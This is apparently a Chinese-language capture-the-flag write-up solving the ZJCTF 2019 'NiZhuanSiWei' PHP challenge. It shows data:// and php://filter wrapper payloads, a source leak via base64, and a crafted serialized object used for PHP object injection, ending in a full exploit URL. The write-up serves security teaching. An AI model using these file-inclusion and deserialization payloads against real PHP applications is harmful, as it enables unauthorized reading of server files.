BUUCTF [ZJCTF 2019] NiZhuanSiWei详细WP

# [ZJCTF 2019] NiZhuanSiWei题目考察 **PHP 伪协议** 和 **反序列化**。---## 1. 观察源码题目直接给出了 PHP 源码php?php$text $_GET[text];$file $_GET[file];$password $_GET[password];if(isset($text)(file_get_contents($text,r)welcome to the zjctf)){echo brh1.file_get_contents($text,r)./h1/br;if(preg_match(/flag/,$file)){echo Not now!;exit();}else{include($file); //useless.php$password unserialize($password);echo $password;}}else{highlight_file(__FILE__);}?可以看到需要通过 GET 传入三个参数- text- file- password---## 2. 第一层构造 text这里要满足phpif(isset($text)(file_get_contents($text,r)welcome to the zjctf))也就是说- text 不能为空- file_get_contents($text) 读取到的内容必须是 welcome to the zjctf这里可以用 data:// 伪协议来构造数据。phppayload: ?textdata://text/plain,welcome to the zjctf这样 file_get_contents() 读到的内容就是phpwelcome to the zjctf从而通过第一层判断。---## 3. 第二层分析 file 和 password继续往下看phpif(preg_match(/flag/,$file)){echo Not now!;exit();}else{include($file); //useless.php$password unserialize($password);echo $password;这里有两个关键点1. file 参数里不能直接出现 flag2. 存在 include($file) 和 unserialize($password)而且题目还提示了一个文件useless.php这时很自然就想到先把 useless.php 的源码拿到。---## 4. 利用 php://filter 读源码这里可以构造phppayload: filephp://filter/readconvert.base64-encode/resourceuseless.php这样可以拿到一段 base64 编码后的源码textPD9waHAgIAoKY2xhc3MgRmxhZ3sgIC8vZmxhZy5waHAgIAogICAgcHVibGljICRmaWxlOyAgCiAgICBwdWJsaWMgZnVuY3Rpb24gX190b3N0cmluZygpeyAgCiAgICAgICAgaWYoaXNzZXQoJHRoaXMtPmZpbGUpKXsgIAogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgCiAgICAgICAgICAgIGVjaG8gIjxicj4iOwogICAgICAgIHJldHVybiAoIlUgUiBTTyBDTE9TRSAhLy8vQ09NRSBPTiBQTFoiKTsKICAgICAgICB9ICAKICAgIH0gIAp9ICAKPz4gIAo解码后得到php?phpclass Flag{ //flag.phppublic $file;public function __toString(){if(isset($this-file)){echo file_get_contents($this-file);echo br;return (U R SO CLOSE !///COME ON PLZ);}}}?---## 5. 反序列化利用看到这里思路就很清楚了。原代码中有php$password unserialize($password);echo $password;如果我们传进去的是一个 Flag 对象那么- unserialize($password) 会还原对象- echo $password 会触发 __toString()- 而 __toString() 里会执行phpfile_get_contents($this-file)所以只要让php$this-file flag.php就可以读取 flag.php 的内容。---## 6. 构造序列化字符串本地写一段代码生成序列化结果php?phpclass Flag{public $file flag.php;public function __toString(){if(isset($this-file)){echo file_get_contents($this-file);echo br;return (U R SO CLOSE !///COME ON PLZ);}}}$password new Flag();echo serialize($password);?得到结果phpO:4:Flag:1:{s:4:file;s:8:flag.php;}---## 7. 最终 payload最终构造texthttp://xxx/?textdata://text/plain,welcome%20to%20the%20zjctffileuseless.phppasswordO:4:Flag:1:{s:4:file;s:8:flag.php;}访问之后执行流程就是1. text 用 data:// 通过校验2. fileuseless.php 不包含 flag成功通过过滤3. include(useless.php) 加载 Flag 类4. unserialize($password) 还原出 Flag 对象5. echo $password 触发 __toString()6. 读取 flag.php查看源码即可拿到 flag。---## 8. 知识点简单总结### data://data:// 可以让我们直接构造一段可读取的数据。比如phpdata://text/plain,hello被 file_get_contents() 读取后得到的就是 hello。---### php://filterphp://filter 常用来读源码。比如phpphp://filter/readconvert.base64-encode/resourceuseless.php表示读取 useless.php并把内容进行 base64 编码输出。---## 9. 总结这题整体思路不算复杂关键就是把几步串起来- 用 data:// 绕过第一层判断- 用 php://filter 读取 useless.php 源码- 找到 Flag 类- 通过反序列化构造对象- 利用 echo 触发 __toString()最终读取 flag.php这题很经典属于 **PHP 伪协议 反序列化 魔术方法利用** 的结合题。---